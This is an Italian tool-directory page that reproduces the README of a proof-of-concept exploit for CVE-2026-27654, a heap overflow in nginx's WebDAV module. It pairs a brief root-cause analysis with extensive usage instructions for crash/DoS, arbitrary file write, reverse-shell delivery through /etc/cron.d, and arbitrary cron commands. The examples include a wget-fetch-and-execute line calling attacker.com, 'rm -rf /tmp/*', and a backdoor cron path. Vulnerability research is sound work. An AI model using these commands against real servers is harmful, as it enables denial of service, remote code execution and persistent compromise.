Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-27654-PoC — Proof-of-Concept e analisi tecnica per CVE-2026-27654, una vulnerabilità di overflow del buffer basato su heap nel modulo HTTP WebDAV di NGINX, inclusa l'analisi della causa principale, la riproduzione e la mitigazione. | Kitploit
Strumenti/GitHubGitHub/debajyoti0-0/cve-2026-27654-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo PayloadBinary Exploitation
GitHubdebajyoti0-0/cve-2026-27654-poc

CVE-2026-27654-PoC

Proof-of-Concept e analisi tecnica per CVE-2026-27654, una vulnerabilità di overflow del buffer basato su heap nel modulo HTTP WebDAV di NGINX, inclusa l'analisi della causa principale, la riproduzione e la mitigazione.

Vedi Repository
1183 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
# CVE-2026-27654 – nginx ngx_http_dav_module PoC per la gestione dei percorsi alias DAV

Questo repository fornisce un proof-of-concept exploit per **CVE-2026-27654**, una vulnerabilità di heap overflow nel modulo `ngx_http_dav_module` di nginx. Il bug deriva da un underflow di tipo `size_t` durante la gestione di richieste `MOVE`/`COPY` con header `Destination` appositamente modificati e location basate su `alias`.

> **⚠️ Disclaimer:** Questo strumento è destinato **esclusivamente a ricerca e test di sicurezza autorizzati**. Usalo solo contro sistemi che possiedi o per i quali hai esplicita autorizzazione al test. Gli autori non si assumono alcuna responsabilità per un uso improprio.

<p align="center">
<img src="https://raw.githubusercontent.com/Debajyoti0-0/CVE-2026-27654-PoC/main/Image.png" alt="Logo CVE-2026-27654">
</p>

## 🔥 Panoramica della vulnerabilità

**CVE-2026-27654** è un **heap-based buffer overflow** attivabile da remoto nel modulo HTTP WebDAV di NGINX, causato da un **integer underflow** in `ngx_http_dav_copy_move_handler()` (`src/http/modules/ngx_http_dav_module.c`). La vulnerabilità si verifica quando la lunghezza dell'URI di destinazione viene derivata sottraendo il prefisso della location configurata dal percorso dell'header `Destination`. Poiché entrambi gli operandi sono di tipo `size_t`, un percorso di destinazione più corto fa sì che la sottrazione vada in wrap-around a un valore unsigned quasi massimo.

La lunghezza in wrap-around viene successivamente usata come argomento di dimensione per `memcpy()`, provocando una scrittura heap fuori dai limiti che corrompe la memoria e fa crashare immediatamente il processo worker di NGINX. Un attaccante remoto e non autenticato può attivare in modo affidabile questa condizione con una singola richiesta **MOVE** o **COPY** appositamente costruita, indirizzata a una location WebDAV mappata tramite `alias`. Sebbene il processo master di NGINX riavvii automaticamente i worker terminati, richieste ripetute possono mantenere il servizio in un ciclo continuo di crash dei worker, producendo un persistente `Denial-of-Service (DoS)`.

AddressSanitizer (ASan) conferma la vulnerabilità con un errore `negative-size-param` in `memcpy()`, tracciando il percorso di esecuzione da `ngx_http_dav_copy_move_handler()` fino a `ngx_http_core_module.c`. La vulnerabilità interessa **NGINX 0.5.13–1.28.2 (stable)** e **1.29.0–1.29.6 (mainline)** quando compilato con `--with-http_dav_module` e configurato con la direttiva `alias`. Il problema è stato corretto in **NGINX 1.28.3** e **1.29.7** (commit `ab4b5b8`, `PR #1210`) tramite una corretta validazione della lunghezza del percorso di destinazione calcolato prima delle operazioni di memoria.

## ✨ Caratteristiche

- **Selezione della modalità interattiva** – scegli tra quattro modalità operative in fase di esecuzione (crash, write-file, cron-shell, cron-cmd) tramite un chiaro menu numerato.
- **Trigger di crash** – invia la richiesta `MOVE`/`COPY` canonica che attiva l'underflow di `size_t` e fa crashare il worker vulnerabile.
- **Modalità write-file** – carica contenuto arbitrario in qualsiasi posizione del filesystem (richiede un ambiente di laboratorio con `alias` scrivibile).
- **Consegna cron-shell** – distribuisce un cron job di reverse shell in `/etc/cron.d/`, con richieste interattive per `LHOST`/`LPORT` e un promemoria per avviare il listener.
- **Consegna cron-cmd** – esegue un comando personalizzato tramite cron; accetta input interattivo o il flag `--cron-command`.
- **Controllo vulnerabilità** (`--check`) – modalità non interattiva che esegue il test di crash e stampa un verdetto chiaro `[VULNERABLE]` / `[NOT VULNERABLE]`, uscendo con codice 0 o 1.
- **Supporto proxy HTTP** (`--proxy`) – instrada tutte le richieste attraverso un proxy HTTP/HTTPS (es. Burp Suite, mitmproxy) per debug o ispezione del traffico.
- **Gestione intelligente dei file** – verifica se il file trigger esiste già (tramite HEAD/GET) e salta la PUT se presente, evitando caricamenti inutili.
- **Opzioni payload flessibili** – fornisci payload tramite `--payload-file` (binario), `--payload-text` (testo letterale) oppure usa il contenuto di test predefinito.
- **Argomenti da riga di comando completi** – regola ogni aspetto dell'exploit: `--destination-path`, `--alias-len`, `--escape-depth`, `--method`, `--location-prefix` e altro.
- **Fallback robusto** – se la libreria `requests` non è installata, lo script ripiega sul modulo standard `http.client` di Python (il supporto proxy è disabilitato in modalità fallback).

## 📦 Installazione

```bash
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
```

## 🚀 Utilizzo

### Modalità interattiva (menu)

```bash
python exploit.py --target 192.168.1.100:8080
```

Ti verrà mostrato un menu numerato e ti verrà chiesto di selezionare una modalità.

### Controllo vulnerabilità (non interattivo)

```bash
python exploit.py --target 192.168.1.100:8080 --check
```

Questa opzione forza la modalità **crash**, esegue l'exploit e stampa `[VULNERABLE]` o `[NOT VULNERABLE]` prima di uscire con codice `0` o `1`.

### Con un proxy HTTP

```bash
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
```

Tutte le richieste HTTP verranno inviate tramite il proxy specificato (utile per il debug con Burp).

## ⚙️ Riferimento Flag

| Flag | Descrizione | Esempio |
|------|-------------|---------|
| `--target HOST:PORT` | Istanza nginx target (default: `127.0.0.1:8080`). | `--target 10.0.0.5:80` |
| `--verbose`, `-v` | Mostra le risposte HTTP complete (header e body). | `-v` |
| `--no-put` | Salta la PUT iniziale (presuppone che il file trigger esista già). Utile per test ripetuti. | `--no-put` |
| `--location-prefix` | Prefisso della location DAV (default: `/uploads/`). Deve corrispondere alla location `alias` nella configurazione di nginx. | `--location-prefix /dav/` |
| `--remote-name` | Nome del file sorgente remoto posizionato all'interno della location DAV (default: `triggerfile.txt`). | `--remote-name test.txt` |
| `--method {MOVE,COPY}` | Metodo DAV da usare per la richiesta di destinazione (default: `MOVE`). | `--method COPY` |
| `--destination-path` | Percorso URI di destinazione – usato per l'aritmetica del crash o come percorso file finale per le modalità di consegna. | `--destination-path /etc/cron.d/backdoor` |
| `--alias-len` | Lunghezza della stringa `alias` configurata (usata per la visualizzazione dell'aritmetica del crash, default `13`). | `--alias-len 20` |
| `--escape-depth` | Numero di componenti di percorso `../` per uscire dalla root DAV (default `1`). | `--escape-depth 3` |
| `--payload-file` | File locale da caricare come payload. Sostituisce il contenuto di test predefinito. | `--payload-file ./shell.php` |
| `--payload-text` | Payload di testo letterale per la modalità `write-file`. | `--payload-text \"<?php phpinfo(); ?>\"` |
| `--lhost` | Host di callback della reverse shell (per `cron-shell`). Se omesso, lo script lo chiede interattivamente. | `--lhost 192.168.1.50` |
| `--lport` | Porta di callback della reverse shell (per `cron-shell`). | `--lport 4444` |
| `--cron-command` | Comando da eseguire tramite cron (per `cron-cmd`). Se omesso, lo script lo chiede interattivamente. | `--cron-command "rm -rf /tmp/*"` |
| `--wait` | Secondi di attesa dopo la consegna del cron job prima che venga eseguito (default `65`). | `--wait 120` |
| `--check` | Esegue il controllo di vulnerabilità (crash test, non interattivo). Output `VULNERABLE`/`NOT VULNERABLE` ed esce con codice 0/1. | `--check` |
| `--proxy PROXY_URL` | URL del proxy HTTP/HTTPS (es. `http://127.0.0.1:8080`). Richiede la libreria `requests`. | `--proxy http://127.0.0.1:8080` |

> **Nota:** La maggior parte dei flag è opzionale. Lo script chiederà gli argomenti necessari mancanti (es. `--lhost`/`--lport` per `cron-shell`) se non vengono forniti.

## 🧪 Modalità in dettaglio

### 1. `crash`

Invia la richiesta `MOVE` (o `COPY`) appositamente costruita che attiva l'underflow di `size_t`. Il server farà crashare il processo worker. Se il processo master è configurato correttamente, genererà un nuovo worker.

**Esempio:**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
```

### 2. `write-file`

Carica un file in una posizione arbitraria del filesystem. Funziona solo se la location DAV è supportata da un `alias` che punta a una directory scrivibile e il percorso `Destination` è costruito per uscire dalla root DAV. **Usa solo in ambienti di laboratorio autorizzati.**

**Esempio:**
```bash
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
```

### 3. `cron-shell`

Posiziona un cron job di reverse shell in `/etc/cron.d/`.  
Quando selezioni questa modalità, lo script ti chiederà:
- **LHOST** – il tuo IP in ascolto
- **LPORT** – la tua porta in ascolto

Successivamente mostrerà il comando del listener netcat e attenderà che tu prema **Invio** una volta che il listener è in esecuzione.

**Esempio (pre-compilato):**
```bash
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
```

### 4. `cron-cmd`

Posiziona un comando personalizzato (fornito interattivamente o tramite `--cron-command`) in `/etc/cron.d/`. Utile per eseguire comandi di sistema arbitrari.

**Esempio (interattivo):**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
```

**Esempio (pre-compilato):**
```bash
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
```

## 📝 Esempio di flusso di lavoro (Reverse Shell)

```bash
$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 3

Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444

[*] Please start your netcat listener in a new terminal:
    nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
```

## 📝 Esempio di flusso di lavoro (Esecuzione di comandi)

Questo esempio dimostra l'uso di `cron-cmd` per eseguire un comando sul sistema target senza bisogno di un listener.

### Modalità interattiva

```bash
$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 4

Enter the command to run in cron (--cron-command): id > /tmp/owned

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
```

### Pre-compilato (non interattivo)

```bash
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
```

Lo script userà automaticamente il `--cron-command` fornito e salterà la richiesta interattiva, rendendolo adatto all'automazione.

## 🛠️ Creazione di un ambiente di test vulnerabile

Per testare questo PoC in un ambiente controllato, puoi compilare nginx dal sorgente con `--with-http_dav_module` e configurare una location con `alias` e `dav_methods`. È inclusa una configurazione Docker di esempio (in arrivo).

## Riferimenti

- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210

## 📜 Licenza

Questo progetto è concesso in licenza sotto la GNU v3.0 License – consulta il file [LICENSE](https://github.com/debajyoti0-0/cve-2026-27654-poc/blob/main/LICENSE) per i dettagli.

## 🤝 Contributi

Segnalazioni di problemi e pull request sono benvenuti. Assicurati che i tuoi contributi rispettino le stesse linee guida etiche di utilizzo.

>**Ricorda:** Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi strumento di sicurezza. Rimani etico!
Scarica lo strumento